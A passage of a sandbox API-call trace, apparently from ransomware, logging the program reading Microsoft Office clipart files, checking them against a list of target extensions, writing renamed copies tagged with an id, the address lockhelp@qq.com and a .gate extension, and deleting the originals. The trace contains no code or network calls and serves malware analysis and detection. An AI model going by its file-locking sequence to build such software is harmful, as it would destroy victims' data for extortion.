(hFile=0x4a4) returned 1 [0281.505] CloseHandle (hObject=0x4a4) returned 1 [0281.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0281.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.507] lstrlenW (lpString=".doc") returned 4 [0281.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString=".docx") returned 5 [0281.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.507] lstrlenW (lpString=".pdf") returned 4 [0281.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString=".xls") returned 4 [0281.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.507] lstrlenW (lpString=".xlsx") returned 5 [0281.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.507] lstrlenW (lpString=".ppt") returned 4 [0281.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.507] lstrlenW (lpString=".zip") returned 4 [0281.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.507] lstrlenW (lpString=".rar") returned 4 [0281.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString=".bz2") returned 4 [0281.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString=".7z") returned 3 [0281.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.507] lstrlenW (lpString=".dbf") returned 4 [0281.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.507] lstrlenW (lpString=".1cd") returned 4 [0281.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.508] lstrlenW (lpString=".jpg") returned 4 [0281.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.508] lstrlenW (lpString=".doc") returned 4 [0281.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString=".docx") returned 5 [0281.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.508] lstrlenW (lpString=".pdf") returned 4 [0281.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString=".xls") returned 4 [0281.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.508] lstrlenW (lpString=".xlsx") returned 5 [0281.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.508] lstrlenW (lpString=".ppt") returned 4 [0281.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.508] lstrlenW (lpString=".zip") returned 4 [0281.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.508] lstrlenW (lpString=".rar") returned 4 [0281.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString=".bz2") returned 4 [0281.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString=".7z") returned 3 [0281.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.508] lstrlenW (lpString=".dbf") returned 4 [0281.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.509] lstrlenW (lpString=".1cd") returned 4 [0281.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0281.509] lstrlenW (lpString=".jpg") returned 4 [0281.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.509] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.509] lstrlenW (lpString="AN01218_.WMF") returned 12 [0281.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.509] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3012) returned 1 [0281.509] CloseHandle (hObject=0x4a4) returned 1 [0281.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0281.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.510] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.510] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.511] GetLastError () returned 0x0 [0281.511] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0281.616] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0281.617] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.617] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.617] SetEndOfFile (hFile=0x4b4) returned 1 [0281.656] CloseHandle (hObject=0x4b4) returned 1 [0281.656] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.656] SetEndOfFile (hFile=0x4a4) returned 1 [0281.659] CloseHandle (hObject=0x4a4) returned 1 [0281.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0281.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.669] lstrlenW (lpString=".doc") returned 4 [0281.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.669] lstrlenW (lpString=".docx") returned 5 [0281.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.669] lstrlenW (lpString=".pdf") returned 4 [0281.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.669] lstrlenW (lpString=".xls") returned 4 [0281.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.669] lstrlenW (lpString=".xlsx") returned 5 [0281.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.669] lstrlenW (lpString=".ppt") returned 4 [0281.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.669] lstrlenW (lpString=".zip") returned 4 [0281.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.669] lstrlenW (lpString=".rar") returned 4 [0281.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.669] lstrlenW (lpString=".bz2") returned 4 [0281.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.669] lstrlenW (lpString=".7z") returned 3 [0281.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.669] lstrlenW (lpString=".dbf") returned 4 [0281.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.669] lstrlenW (lpString=".1cd") returned 4 [0281.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.670] lstrlenW (lpString=".jpg") returned 4 [0281.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.670] lstrlenW (lpString=".doc") returned 4 [0281.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString=".docx") returned 5 [0281.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.670] lstrlenW (lpString=".pdf") returned 4 [0281.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString=".xls") returned 4 [0281.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.670] lstrlenW (lpString=".xlsx") returned 5 [0281.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.670] lstrlenW (lpString=".ppt") returned 4 [0281.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.670] lstrlenW (lpString=".zip") returned 4 [0281.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.670] lstrlenW (lpString=".rar") returned 4 [0281.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString=".bz2") returned 4 [0281.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.670] lstrlenW (lpString=".7z") returned 3 [0281.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.671] lstrlenW (lpString=".dbf") returned 4 [0281.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.671] lstrlenW (lpString=".1cd") returned 4 [0281.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0281.671] lstrlenW (lpString=".jpg") returned 4 [0281.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.671] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.671] lstrlenW (lpString="AN01545_.WMF") returned 12 [0281.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.672] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=7372) returned 1 [0281.672] CloseHandle (hObject=0x4a4) returned 1 [0281.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0281.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.672] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.672] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.673] GetLastError () returned 0x0 [0281.673] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0281.714] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0281.715] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.715] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.715] SetEndOfFile (hFile=0x4b4) returned 1 [0281.716] CloseHandle (hObject=0x4b4) returned 1 [0281.716] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.717] SetEndOfFile (hFile=0x4a4) returned 1 [0281.719] CloseHandle (hObject=0x4a4) returned 1 [0281.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0281.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.720] lstrlenW (lpString=".doc") returned 4 [0281.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.720] lstrlenW (lpString=".docx") returned 5 [0281.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.720] lstrlenW (lpString=".pdf") returned 4 [0281.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.720] lstrlenW (lpString=".xls") returned 4 [0281.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.720] lstrlenW (lpString=".xlsx") returned 5 [0281.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.720] lstrlenW (lpString=".ppt") returned 4 [0281.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.720] lstrlenW (lpString=".zip") returned 4 [0281.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.721] lstrlenW (lpString=".rar") returned 4 [0281.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString=".bz2") returned 4 [0281.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString=".7z") returned 3 [0281.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.721] lstrlenW (lpString=".dbf") returned 4 [0281.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.721] lstrlenW (lpString=".1cd") returned 4 [0281.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.721] lstrlenW (lpString=".jpg") returned 4 [0281.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.721] lstrlenW (lpString=".doc") returned 4 [0281.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString=".docx") returned 5 [0281.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.721] lstrlenW (lpString=".pdf") returned 4 [0281.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.721] lstrlenW (lpString=".xls") returned 4 [0281.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.721] lstrlenW (lpString=".xlsx") returned 5 [0281.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.721] lstrlenW (lpString=".ppt") returned 4 [0281.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.722] lstrlenW (lpString=".zip") returned 4 [0281.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.722] lstrlenW (lpString=".rar") returned 4 [0281.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.722] lstrlenW (lpString=".bz2") returned 4 [0281.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.722] lstrlenW (lpString=".7z") returned 3 [0281.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.722] lstrlenW (lpString=".dbf") returned 4 [0281.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.722] lstrlenW (lpString=".1cd") returned 4 [0281.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0281.722] lstrlenW (lpString=".jpg") returned 4 [0281.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.723] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.723] lstrlenW (lpString="AN02122_.WMF") returned 12 [0281.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.752] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=7540) returned 1 [0281.752] CloseHandle (hObject=0x414) returned 1 [0281.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0281.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.754] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.754] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.754] GetLastError () returned 0x0 [0281.754] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0281.800] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0281.801] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.801] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.801] SetEndOfFile (hFile=0x418) returned 1 [0281.903] CloseHandle (hObject=0x418) returned 1 [0281.904] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.904] SetEndOfFile (hFile=0x414) returned 1 [0281.909] CloseHandle (hObject=0x414) returned 1 [0281.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft 